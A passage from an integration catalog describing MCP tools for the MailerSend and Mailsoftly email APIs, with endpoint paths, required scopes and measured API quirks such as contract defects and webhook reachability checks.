Phone numbers are purchased in the MailerSend dashboard, not through the API. DELETE /api/v1/mailersend/sms-numbers/{sms_number_id}. Scopes: sms_full. mailersend_delete_sms_webhooks_by_sms_webhook_id (write, destructive) — Delete an SMS webhook. An SMS webhook delivers SMS events to a URL you control. Sends NO body, on the SAME CONTRACT-DEFECT basis, and here it is worse: the contract declares `{"enabled": boolean}` REQUIRED, verbatim the request body of the PUT on the same path, so shipping it would make an agent supply `enabled` in order to DELETE a webhook. NOT MEASURED -- the trial account's 100-request daily budget ran out before an SMS webhook could be created and deleted. Nothing about the account prevents it: it does hold an SMS phone number (3z0vkloq6j147qrx, seen 2026-09-19), so this is measurable whenever budget allows. DELETE /api/v1/mailersend/sms-webhooks/{sms_webhook_id}. Scopes: sms_full. mailersend_delete_suppressions_blocklist (write, destructive) — Delete recipients from the blocklist suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. DELETE /api/v1/mailersend/suppressions/blocklist. Scopes: suppressions_full. mailersend_delete_suppressions_hard_bounces (write, destructive) — Delete recipients from the hard bounces suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. DELETE /api/v1/mailersend/suppressions/hard-bounces. Scopes: suppressions_full. mailersend_delete_suppressions_spam_complaints (write, destructive) — Delete recipients from the spam complaints suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. DELETE /api/v1/mailersend/suppressions/spam-complaints. Scopes: suppressions_full. mailersend_delete_suppressions_unsubscribes (write, destructive) — Delete recipients from the unsubscribes suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. DELETE /api/v1/mailersend/suppressions/unsubscribes. Scopes: suppressions_full. mailersend_delete_token_by_token_id (write, destructive) — Delete a token. These manage MailerSend API TOKENS -- the same kind of credential this connection itself holds. The connection's own token must carry API tokens = Full access, and a created token's secret is returned ONCE, in the create response. DELETE /api/v1/mailersend/token/{token_id}. Scopes: tokens_full. mailersend_delete_users_by_user_id (write, destructive) — Delete a user. Users are the people with access to the MailerSend account, and their roles. DELETE /api/v1/mailersend/users/{user_id}. Scopes: users_full. mailersend_delete_webhooks_by_webhook_id (write, destructive) — Delete a webhook. A webhook delivers email events to a URL you control; it belongs to one domain, which is why listing them REQUIRES `domain_id`. Sends NO body, and the BASIS IS A CONTRACT DEFECT rather than a measurement -- which matters, because it decides whether this can be restored by re-reading the contract or only by re-measuring. MailerSend's OpenAPI declares `{"enabled": boolean}` on this DELETE, and that is verbatim the request body of the PUT on the same path: the update's payload copied onto the delete. Deleting a webhook takes no payload. NOT MEASURED -- the trial account's daily request budget ran out before the webhook created for the purpose could be deleted; docs/integrations/mailersend/verified.json records this tool as untested. DELETE /api/v1/mailersend/webhooks/{webhook_id}. Scopes: webhooks_full. mailersend_get_activities_by_activity_id (read) — Get single activity. Activity is the per-recipient delivery event log for a sending domain (queued, sent, delivered, soft/hard bounced, opened, clicked, unsubscribed, spam complaint). `date_from` and `date_to` are REQUIRED UTC unix timestamps. GET /api/v1/mailersend/activities/{activity_id}. Scopes: activity_read. mailersend_get_activity_by_domain_id (read) — Get a list of activities for a domain. Activity is the per-recipient delivery event log for a sending domain (queued, sent, delivered, soft/hard bounced, opened, clicked, unsubscribed, spam complaint). `date_from` and `date_to` are REQUIRED UTC unix timestamps. GET /api/v1/mailersend/activity/{domain_id}. Scopes: activity_read. mailersend_get_analytics_country (read) — Opens by country. Analytics are aggregate counts over a date window rather than per-message rows; `date_from` and `date_to` are REQUIRED UTC unix timestamps and MailerSend retains six months. GET /api/v1/mailersend/analytics/country. Scopes: analytics_read. mailersend_get_analytics_date (read) — Activity data by date. Analytics are aggregate counts over a date window rather than per-message rows; `date_from` and `date_to` are REQUIRED UTC unix timestamps and MailerSend retains six months. ⚠ The `events` filter reaches MailerSend as `event[]`, which this integration does; the contract's own spelling is accepted with 200 and SILENTLY IGNORED (measured 2026-09-19: `?events=sent` returns stats rows with no `sent` key, `?event[]=sent` returns them with one). Ask for the event names you want -- queued, sent, delivered, soft_bounced, hard_bounced, opened, clicked, unsubscribed, spam_complaints -- and each appears as its own key on every row of `stats`. GET /api/v1/mailersend/analytics/date. Scopes: analytics_read. mailersend_get_analytics_ua_name (read) — Opens By User-Agent. Analytics are aggregate counts over a date window rather than per-message rows; `date_from` and `date_to` are REQUIRED UTC unix timestamps and MailerSend retains six months. GET /api/v1/mailersend/analytics/ua-name. Scopes: analytics_read. mailersend_get_analytics_ua_type (read) — Opens by reading environment. Analytics are aggregate counts over a date window rather than per-message rows; `date_from` and `date_to` are REQUIRED UTC unix timestamps and MailerSend retains six months. GET /api/v1/mailersend/analytics/ua-type. Scopes: analytics_read. mailersend_get_api_quota (read) — Get API quota. Reports the account's remaining daily API request allowance and when it resets. MailerSend documents this endpoint as NOT counting against the quota it reports, and it needs no token permission at all. Needs no token permission: measured 2026-09-19 it answered 200 to a token minted with `analytics_read` alone and to one minted with `templates_full` alone, while each of those answered 403 #MS40301 to the other's area. MailerSend documents requests to this endpoint as not counting against the quota they report. GET /api/v1/mailersend/api-quota. Scopes: api. mailersend_get_bulk_email_by_bulk_email_id (read) — Get bulk email status. Sending requires a VERIFIED sending domain -- the `from.email` address must belong to one -- and a trial account may be limited to the MailerSend-issued trial domain. GET /api/v1/mailersend/bulk-email/{bulk_email_id}. Scopes: email_full. mailersend_get_domains (read) — Get a list of domains. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. GET /api/v1/mailersend/domains. Scopes: domains_read. mailersend_get_domains_by_domain_id (read) — Get a single domain. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. GET /api/v1/mailersend/domains/{domain_id}. Scopes: domains_read. mailersend_get_domains_by_domain_id_dns_records (read) — Get DNS Records. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. GET /api/v1/mailersend/domains/{domain_id}/dns-records. Scopes: domains_read. mailersend_get_domains_by_domain_id_recipients (read) — Get recipients for a domain. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. GET /api/v1/mailersend/domains/{domain_id}/recipients. Scopes: domains_read. mailersend_get_domains_by_domain_id_smtp_users (read) — Get a list of SMTP users. An SMTP user is a per-domain credential for sending over SMTP rather than the API. GET /api/v1/mailersend/domains/{domain_id}/smtp-users. Scopes: smtp_users_read. mailersend_get_domains_by_domain_id_smtp_users_by_smtp_user_id (read) — Get a single SMTP user. An SMTP user is a per-domain credential for sending over SMTP rather than the API. GET /api/v1/mailersend/domains/{domain_id}/smtp-users/{smtp_user_id}. Scopes: smtp_users_read. mailersend_get_domains_by_domain_id_verify (read) — Get verification status. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. GET /api/v1/mailersend/domains/{domain_id}/verify. Scopes: domains_read. mailersend_get_email_verification (read) — Get all lists. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. GET /api/v1/mailersend/email-verification. Scopes: email_verification_read. mailersend_get_email_verification_by_email_verification_id (read) — Get a single list. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. GET /api/v1/mailersend/email-verification/{email_verification_id}. Scopes: email_verification_read. mailersend_get_email_verification_by_email_verification_id_results (read) — Get list results. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. GET /api/v1/mailersend/email-verification/{email_verification_id}/results. Scopes: email_verification_read. mailersend_get_email_verification_by_email_verification_id_verify (read) — Verify a list. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. GET /api/v1/mailersend/email-verification/{email_verification_id}/verify. Scopes: email_verification_read. mailersend_get_identities (read) — Get a list of sender identities. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. GET /api/v1/mailersend/identities. Scopes: sender_identity_read. mailersend_get_identities_by_identity_id (read) — Get a single sender identity. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. GET /api/v1/mailersend/identities/{identity_id}. Scopes: sender_identity_read. mailersend_get_identities_email_email (read) — Get a single sender identity by Email. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. GET /api/v1/mailersend/identities/email/{email}. Scopes: sender_identity_read. mailersend_get_inbound (read) — Get a list of inbound routes. An inbound route receives mail sent TO a subdomain you control and forwards it to a webhook or an address. GET /api/v1/mailersend/inbound. Scopes: inbounds_full. mailersend_get_inbound_by_inbound_id (read) — Get a single inbound route. An inbound route receives mail sent TO a subdomain you control and forwards it to a webhook or an address. GET /api/v1/mailersend/inbound/{inbound_id}. Scopes: inbounds_full. mailersend_get_message_schedules (read) — Get list of scheduled messages. A scheduled message is a send whose `send_at` is in the future; it can be inspected and cancelled until it is delivered. GET /api/v1/mailersend/message-schedules. Scopes: email_full. mailersend_get_message_schedules_by_message_id (read) — Get a single scheduled message. A scheduled message is a send whose `send_at` is in the future; it can be inspected and cancelled until it is delivered. GET /api/v1/mailersend/message-schedules/{message_id}. Scopes: email_full. mailersend_get_messages (read) — Get a list of messages. A message is one API send request and the recipients it produced; the list is the account's recent sends. GET /api/v1/mailersend/messages. Scopes: email_full. mailersend_get_messages_by_message_id (read) — Get information for a single message. A message is one API send request and the recipients it produced; the list is the account's recent sends. GET /api/v1/mailersend/messages/{message_id}. Scopes: email_full. mailersend_get_recipients (read) — Get recipients. A recipient is an address MailerSend has seen on this account, with its suppression state. GET /api/v1/mailersend/recipients. Scopes: recipients_read. mailersend_get_recipients_by_recipient_id (read) — Get a single recipient. A recipient is an address MailerSend has seen on this account, with its suppression state. GET /api/v1/mailersend/recipients/{recipient_id}. Scopes: recipients_read. mailersend_get_sms_activity (read) — Get a list of SMS activities. SMS activity is the per-message delivery event log. GET /api/v1/mailersend/sms-activity. Scopes: sms_read. mailersend_get_sms_activity_by_sms_message_id (read) — Get activity of a single SMS message. SMS activity is the per-message delivery event log. GET /api/v1/mailersend/sms-activity/{sms_message_id}. Scopes: sms_read. mailersend_get_sms_inbounds (read) — Get a list of SMS inbound routes. An SMS inbound route forwards received texts to a URL. GET /api/v1/mailersend/sms-inbounds. Scopes: sms_read. mailersend_get_sms_inbounds_by_sms_inbound_id (read) — Get a single SMS inbound route. An SMS inbound route forwards received texts to a URL. GET /api/v1/mailersend/sms-inbounds/{sms_inbound_id}. Scopes: sms_read. mailersend_get_sms_messages (read) — Get a list of SMS messages. An SMS message is one send request and the recipients it produced. GET /api/v1/mailersend/sms-messages. Scopes: sms_read. mailersend_get_sms_messages_by_sms_message_id (read) — Get an SMS message. An SMS message is one send request and the recipients it produced. GET /api/v1/mailersend/sms-messages/{sms_message_id}. Scopes: sms_read. mailersend_get_sms_numbers (read) — Get a list of SMS phone numbers. Phone numbers are purchased in the MailerSend dashboard, not through the API. GET /api/v1/mailersend/sms-numbers. Scopes: sms_read. mailersend_get_sms_numbers_by_sms_number_id (read) — Get an SMS phone number. Phone numbers are purchased in the MailerSend dashboard, not through the API. GET /api/v1/mailersend/sms-numbers/{sms_number_id}. Scopes: sms_read. mailersend_get_sms_recipients (read) — Get a list of SMS recipients. An SMS recipient is a number MailerSend has seen, with its opt-in state. GET /api/v1/mailersend/sms-recipients. Scopes: sms_read. mailersend_get_sms_recipients_by_sms_recipient_id (read) — Get an SMS recipient. An SMS recipient is a number MailerSend has seen, with its opt-in state. GET /api/v1/mailersend/sms-recipients/{sms_recipient_id}. Scopes: sms_read. mailersend_get_sms_webhooks (read) — Get a list of SMS webhooks. An SMS webhook delivers SMS events to a URL you control. GET /api/v1/mailersend/sms-webhooks. Scopes: sms_read. mailersend_get_sms_webhooks_by_sms_webhook_id (read) — Get a single SMS webhook. An SMS webhook delivers SMS events to a URL you control. GET /api/v1/mailersend/sms-webhooks/{sms_webhook_id}. Scopes: sms_read. mailersend_get_suppressions_blocklist (read) — Get recipients from the blocklist suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. GET /api/v1/mailersend/suppressions/blocklist. Scopes: suppressions_read. mailersend_get_suppressions_hard_bounces (read) — Get recipients from the hard bounces suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. GET /api/v1/mailersend/suppressions/hard-bounces. Scopes: suppressions_read. mailersend_get_suppressions_spam_complaints (read) — Get recipients from the spam complaints suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. GET /api/v1/mailersend/suppressions/spam-complaints. Scopes: suppressions_read. mailersend_get_suppressions_unsubscribes (read) — Get recipients from the unsubscribes suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. GET /api/v1/mailersend/suppressions/unsubscribes. Scopes: suppressions_read. mailersend_get_templates (read) — Get templates. Templates are built in the MailerSend dashboard; the API lists and deletes them. GET /api/v1/mailersend/templates. Scopes: templates_full. mailersend_get_users (read) — Get all users. Users are the people with access to the MailerSend account, and their roles. GET /api/v1/mailersend/users. Scopes: users_read. mailersend_get_users_by_user_id (read) — Get one user. Users are the people with access to the MailerSend account, and their roles. GET /api/v1/mailersend/users/{user_id}. Scopes: users_read. mailersend_get_webhooks (read) — Get a list of webhooks. A webhook delivers email events to a URL you control; it belongs to one domain, which is why listing them REQUIRES `domain_id`. GET /api/v1/mailersend/webhooks. Scopes: webhooks_full. mailersend_get_webhooks_by_webhook_id (read) — Get a webhook. A webhook delivers email events to a URL you control; it belongs to one domain, which is why listing them REQUIRES `domain_id`. GET /api/v1/mailersend/webhooks/{webhook_id}. Scopes: webhooks_full. mailersend_post_bulk_email (write) — Send bulk emails. Sending requires a VERIFIED sending domain -- the `from.email` address must belong to one -- and a trial account may be limited to the MailerSend-issued trial domain. POST /api/v1/mailersend/bulk-email. Scopes: email_full. mailersend_post_domains (write) — Add a Domain. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. POST /api/v1/mailersend/domains. Scopes: domains_full. mailersend_post_email (write) — Send an email. Sending requires a VERIFIED sending domain -- the `from.email` address must belong to one -- and a trial account may be limited to the MailerSend-issued trial domain. POST /api/v1/mailersend/email. Scopes: email_full. mailersend_post_email_verification (write) — Create a list. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. POST /api/v1/mailersend/email-verification. Scopes: email_verification_full. mailersend_post_email_verification_verify (write) — Verify an email. Email verification checks whether an address is deliverable before you send to it; a list is created, then verified, then its results are read. POST /api/v1/mailersend/email-verification/verify. Scopes: email_verification_full. mailersend_post_identities (write) — Add a sender identity. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. POST /api/v1/mailersend/identities. Scopes: sender_identity_full. mailersend_post_inbound (write) — Add an inbound route. An inbound route receives mail sent TO a subdomain you control and forwards it to a webhook or an address. ⚠ A `forwards` ENTRY OF TYPE `webhook` IS PROBED THE SAME WAY. Measured 2026-09-19: a route forwarding to https://example.com/... answered 422 `forwards.0.value: The endpoint returned HTTP 405.`, naming the exact element of the array that failed. The destination must answer POST. POST /api/v1/mailersend/inbound. Scopes: inbounds_full. mailersend_post_sms (write) — Send an SMS. SMS requires an SMS-enabled MailerSend plan and a phone number on the account. POST /api/v1/mailersend/sms. Scopes: sms_full. mailersend_post_sms_inbounds (write) — Add an SMS inbound route. An SMS inbound route forwards received texts to a URL. POST /api/v1/mailersend/sms-inbounds. Scopes: sms_full. mailersend_post_sms_webhooks (write) — Create an SMS webhook. An SMS webhook delivers SMS events to a URL you control. POST /api/v1/mailersend/sms-webhooks. Scopes: sms_full. mailersend_post_suppressions_blocklist (write) — Add recipients to the blocklist suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. POST /api/v1/mailersend/suppressions/blocklist. Scopes: suppressions_full. mailersend_post_suppressions_hard_bounces (write) — Add recipients to the hard bounces suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. POST /api/v1/mailersend/suppressions/hard-bounces. Scopes: suppressions_full. mailersend_post_suppressions_spam_complaints (write) — Add recipients to the spam complaints suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. POST /api/v1/mailersend/suppressions/spam-complaints. Scopes: suppressions_full. mailersend_post_suppressions_unsubscribes (write) — Add recipients to the unsubscribes suppression list. A suppression list blocks delivery to an address. MailerSend keeps four of them -- blocklist, hard bounces, spam complaints, unsubscribes -- and they are per DOMAIN. POST /api/v1/mailersend/suppressions/unsubscribes. Scopes: suppressions_full. mailersend_post_token (write) — Create a token. These manage MailerSend API TOKENS -- the same kind of credential this connection itself holds. The connection's own token must carry API tokens = Full access, and a created token's secret is returned ONCE, in the create response. ⚠ THE RESPONSE CARRIES A LIVE CREDENTIAL. `data.accessToken` is a new MailerSend API token, shown once and never again, with whatever permissions `scopes` asked for. Treat the result as a secret. ⚠ AND A TOKEN CREATED WITHOUT AN EXPIRY DIES IN 24 HOURS: MailerSend's own help page says so, and the create response confirms there is nothing to read back -- measured 2026-09-19, a token minted through this route came back with `expires_at: null`. The API exposes no expiry field, so a token that must outlive a day has to be minted in the dashboard. POST /api/v1/mailersend/token. Scopes: tokens_full. mailersend_post_users (write) — Add an user. Users are the people with access to the MailerSend account, and their roles. POST /api/v1/mailersend/users. Scopes: users_full. mailersend_post_webhooks (write) — Create a webhook. A webhook delivers email events to a URL you control; it belongs to one domain, which is why listing them REQUIRES `domain_id`. ⚠ MAILERSEND CALLS `url` BEFORE IT SAVES THE WEBHOOK and refuses one that does not answer a POST. Measured 2026-09-19: creating a webhook pointed at https://example.com/... answered 422 with MailerSend's own field error `url: The endpoint returned HTTP 405.` -- example.com exists and serves GET, so this is a live reachability check rather than a format check. Supply an endpoint reachable from the public internet that answers POST, or the webhook is never created. POST /api/v1/mailersend/webhooks. Scopes: webhooks_full. mailersend_put_domains_by_domain_id_settings (write) — Update domain settings. A sending domain is what authorises MailerSend to send `from` an address; a domain that is not verified cannot send. PUT /api/v1/mailersend/domains/{domain_id}/settings. Scopes: domains_full. mailersend_put_domains_by_domain_id_smtp_users_by_smtp_user_id (write) — Update SMTP user. An SMTP user is a per-domain credential for sending over SMTP rather than the API. PUT /api/v1/mailersend/domains/{domain_id}/smtp-users/{smtp_user_id}. Scopes: smtp_users_full. mailersend_put_identities_by_identity_id (write) — Update a sender identity. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. PUT /api/v1/mailersend/identities/{identity_id}. Scopes: sender_identity_full. mailersend_put_identities_email_email (write) — Update a sender identity by Email. A sender identity authorises ONE address on a domain to send, which is how an account sends `from` an address it has not verified the whole domain for. PUT /api/v1/mailersend/identities/email/{email}. Scopes: sender_identity_full. mailersend_put_inbound_by_inbound_id (write) — Update an inbound route. An inbound route receives mail sent TO a subdomain you control and forwards it to a webhook or an address. PUT /api/v1/mailersend/inbound/{inbound_id}. Scopes: inbounds_full. mailersend_put_sms_inbounds_by_sms_inbound_id (write) — Update an inbound route. An SMS inbound route forwards received texts to a URL. PUT /api/v1/mailersend/sms-inbounds/{sms_inbound_id}. Scopes: sms_full. mailersend_put_sms_numbers_by_sms_number_id (write) — Update a single SMS phone number. Phone numbers are purchased in the MailerSend dashboard, not through the API. PUT /api/v1/mailersend/sms-numbers/{sms_number_id}. Scopes: sms_full. mailersend_put_sms_recipients_by_sms_recipient_id (write) — Update a single SMS recipient. An SMS recipient is a number MailerSend has seen, with its opt-in state. PUT /api/v1/mailersend/sms-recipients/{sms_recipient_id}. Scopes: sms_full. mailersend_put_sms_webhooks_by_sms_webhook_id (write) — Update a single SMS webhook. An SMS webhook delivers SMS events to a URL you control. PUT /api/v1/mailersend/sms-webhooks/{sms_webhook_id}. Scopes: sms_full. mailersend_put_token_by_token_id_settings (write) — Update a Token. These manage MailerSend API TOKENS -- the same kind of credential this connection itself holds. The connection's own token must carry API tokens = Full access, and a created token's secret is returned ONCE, in the create response. PUT /api/v1/mailersend/token/{token_id}/settings. Scopes: tokens_full. mailersend_put_users_by_user_id (write) — Update User. Users are the people with access to the MailerSend account, and their roles. PUT /api/v1/mailersend/users/{user_id}. Scopes: users_full. mailersend_put_webhooks_by_webhook_id (write) — Update a webhook. A webhook delivers email events to a URL you control; it belongs to one domain, which is why listing them REQUIRES `domain_id`. PUT /api/v1/mailersend/webhooks/{webhook_id}. Scopes: webhooks_full. ================================================================================ ## Mailsoftly URL: https://www.agenticfabriq.com/integrations/mailsoftly Section: Integrated Tools Mailsoftly — 144 MCP tools Provider key: mailsoftly. Scopes: account:read, account:write, campaigns:draft, campaigns:read, campaigns:send, contacts:read, contacts:write, suppressions:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailsoftly_get_api_v3_email_status (read) — Check email draft status. GET /api/v3/email_status. Returns the current status of an email draft and whether it's ready to send. Status values: `Draft`: draft is being prepared `Sent`: email has been sent `sending`: email is currently being sent (in queue) `ready_to_send: true` means the draft can be sent via `POST /send_email` Polling guidance. When a draft is created via `POST /create_emails` with `recipients` or `attaches`, a background job upserts the contacts, attaches the files, and only then flips `ready_to_send` to `true`. GET /api/v1/mailsoftly/api/v3/email_status. Scopes: campaigns:read. mailsoftly_get_api_v3_get_account (read) — Get account info. GET /api/v3/get_account. Returns your account/company profile information (name, domain, plan). GET /api/v1/mailsoftly/api/v3/get_account. Scopes: account:read. mailsoftly_get_api_v3_get_automation (read) — Get a single automation. GET /api/v3/get_automation. Returns details of a single automation including its sequence and trigger configuration. GET /api/v1/mailsoftly/api/v3/get_automation. Scopes: campaigns:read. mailsoftly_get_api_v3_get_automations (read) — List automations. GET /api/v3/get_automations. Returns all email automations and drip campaigns (id, name, trigger type, active status). GET /api/v1/mailsoftly/api/v3/get_automations. Scopes: campaigns:read. mailsoftly_get_api_v3_get_brand_kit (read) — Get the brand kit. GET /api/v3/get_brand_kit. Returns the account brand kit: the logo, the favicon, the colors, the palette, the site title and description and the social links, all of which campaigns and pages can reuse so they look like the company. When the account has no kit yet the answer is present: false with a short note saying how one is made. Nothing here is a credential. GET /api/v1/mailsoftly/api/v3/get_brand_kit. Scopes: account:read. mailsoftly_get_api_v3_get_campaign (read) — Get one campaign in full. GET /api/v3/get_campaign. Returns everything about a single campaign that list_campaigns leaves out: preheader, from address, reply-to, email type, segment, contact list name, A/B subject experiment, public sharing state, file attachments and whether a per-recipient PDF is attached. Pass the campaign id from list_campaigns; pass include_body=true to get the HTML body as well, which is left out by default because it is large. GET /api/v1/mailsoftly/api/v3/get_campaign. Scopes: campaigns:read. mailsoftly_get_api_v3_get_campaign_links (read) — Get per link clicks for a campaign. GET /api/v3/get_campaign_links. The click table behind a sent campaign: every address that was clicked, how many clicks and how many distinct recipients it drew, and its share of all clicks, busiest first. Addresses that differ only by campaign tagging are counted as one link, and the unsubscribe, preference and view in browser links plus our own footer badge are left out. Only human clicks are counted, so these numbers can be lower than a raw click count. GET /api/v1/mailsoftly/api/v3/get_campaign_links. Scopes: campaigns:read. mailsoftly_get_api_v3_get_campaign_recipients (read) — List the recipients of a campaign. GET /api/v3/get_campaign_recipients. Who a sent campaign reached and what each of them did with it: address, contact id, when it was sent, when it was opened and clicked, and whether the address has since bounced or unsubscribed. Newest send first, paginated. The engagement filter narrows the result to the openers, the clickers, the people who did not open, the bounces or the unsubscribes, for a follow up send or a clean up. GET /api/v1/mailsoftly/api/v3/get_campaign_recipients. Scopes: campaigns:read. mailsoftly_get_api_v3_get_campaign_report (read) — Get a full campaign report. GET /api/v3/get_campaign_report. The whole performance picture for one sent campaign: headline counts and rates, the same rates averaged over every sent campaign in the account for comparison, the engagement split by recipient mailbox provider and by recipient domain, and cumulative open and click curves by hour since the send. Pass the campaign id from list_campaigns. A campaign that has not been sent, and an account with open and click tracking turned off, come back with available false and a note saying why. GET /api/v1/mailsoftly/api/v3/get_campaign_report. Scopes: campaigns:read. mailsoftly_get_api_v3_get_campaign_stats (read) — Get campaign performance. GET /api/v3/get_campaign_stats. Delivery and engagement statistics for a sent campaign: sent, delivered, opened, clicked, bounced, unsubscribed, complained, with open, click, bounce and unsubscribe rates. Unsent drafts return the campaign summary and a note. get_campaign_report carries the provider and domain breakdown and the comparison with the account average. GET /api/v1/mailsoftly/api/v3/get_campaign_stats. Scopes: campaigns:read. mailsoftly_get_api_v3_get_compliance_summary (read) — Get the compliance summary for a region. GET /api/v3/get_compliance_summary. Where this account stands against the email rules of one sending region, in a single call. Returns the region in play and the frameworks it maps to (CAN-SPAM and CPRA in the United States, CASL and PIPEDA in Canada, GDPR and PECR in the EU and the UK, İYS and KVKK in Türkiye), how many contacts are contactable, how many have opted out, whether a postal address is on file for your email footer, when the consent evidence and opt-out reports were last produced, the points that region asks of a sender, and what Mailsoftly already handles on every send. GET /api/v1/mailsoftly/api/v3/get_compliance_summary. Scopes: contacts:read. mailsoftly_get_api_v3_get_consent_evidence (read) — List consent evidence. GET /api/v3/get_consent_evidence. The paper trail every regime asks a sender to keep: who consented, when, through which source, and where each address stands today. Under GDPR, CASL and KVKK the burden of proof sits with you, and CAN-SPAM and CPRA ask you to answer access requests, so this is the same report in all four markets. One row per contact, drawn from the contact's own audit trail: the first created or subscribed event, its source and the label captured at the time. Records older than the audit trail fall back to the date the contact was created and the source stored on it. GET /api/v1/mailsoftly/api/v3/get_consent_evidence. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact (read) — Get a single contact. GET /api/v3/get_contact. Returns a single contact by ID. By default returns a summary (id, first_name, last_name, email). Pass `type=detailed` to get all contact fields including custom fields, address, and metadata. GET /api/v1/mailsoftly/api/v3/get_contact. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_activity (read) — Get one contact's activity timeline. GET /api/v3/get_contact_activity. Everything the account knows about what happened with one contact, merged into a single newest first timeline: subscription and list events with the source they came from, the campaign mail this contact was sent with its opens and clicks, and the notes teammates wrote on the record. Pass the contact id from get_contacts or search_contacts. The response also carries a compact contact header with the address, name, sending status and last engagement. GET /api/v1/mailsoftly/api/v3/get_contact_activity. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_fields (read) — List available contact fields. GET /api/v3/get_contact_fields. Returns the list of all available contact fields and their database types. Internal fields (firm_id, user_id, etc.) are excluded. Use this to discover which fields you can set when creating or updating contacts. GET /api/v1/mailsoftly/api/v3/get_contact_fields. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_list (read) — Get a single contact list. GET /api/v3/get_contact_list. Returns details of a single contact list including its contact count. Note on field naming. This endpoint returns the count as `contacts_count` (plural), while `GET /get_contact_lists` (the list endpoint) returns the same value as `contact_count` (singular). Both mean the same thing. GET /api/v1/mailsoftly/api/v3/get_contact_list. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_list_contacts (read) — List contacts in a contact list. GET /api/v3/get_contact_list_contacts. Returns the contacts belonging to a specific contact list. Pass `page`/`per_page` (up to 500) for a paginated envelope `{contacts, page, per_page, total, has_more}`; without them the legacy bare array is returned, capped at 10,000 rows with `X-Total-Count` and, past the cap, `X-Truncated: true` plus a `Link` rel="next" header. GET /api/v1/mailsoftly/api/v3/get_contact_list_contacts. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_lists (read) — List all contact lists. GET /api/v3/get_contact_lists. Returns all contact lists in your account with their contact counts. Only "general" type lists are returned (internal system lists are excluded). Note on field naming. This endpoint returns `contact_count` (singular). `GET /get_contact_list` (singular, for a single list) returns the same value under `contacts_count` (plural) for historical reasons. Both refer to the number of contacts in the list. GET /api/v1/mailsoftly/api/v3/get_contact_lists. Scopes: contacts:read. mailsoftly_get_api_v3_get_contact_subscriptions (read) — Get what one contact is subscribed to. GET /api/v3/get_contact_subscriptions. Reads the full subscription picture for one contact: the account-wide sending status, whether the address is globally unsubscribed or suppressed, and one row per email type saying whether the contact accepts it, who opted them out and when. Pass contact_id from get_contacts or search_contacts. GET /api/v1/mailsoftly/api/v3/get_contact_subscriptions. Scopes: contacts:read. mailsoftly_get_api_v3_get_contacts (read) — List all contacts. GET /api/v3/get_contacts. Returns all contacts belonging to your account. Each contact includes basic fields: `id`, `first_name`, `last_name`, and `email`. Detailed contact information including custom fields comes from `GET /get_contact` with `type=detailed`. Pass `page`/`per_page` for a paginated envelope `{contacts, page, per_page, total, has_more}`; without them the legacy bare array is returned, capped at 10,000 rows with `X-Total-Count` and, past the cap, `X-Truncated: true` plus a `Link` rel="next" header. GET /api/v1/mailsoftly/api/v3/get_contacts. Scopes: contacts:read. mailsoftly_get_api_v3_get_custom_block (read) — Get one content block. GET /api/v3/get_custom_block. Returns one saved block with its 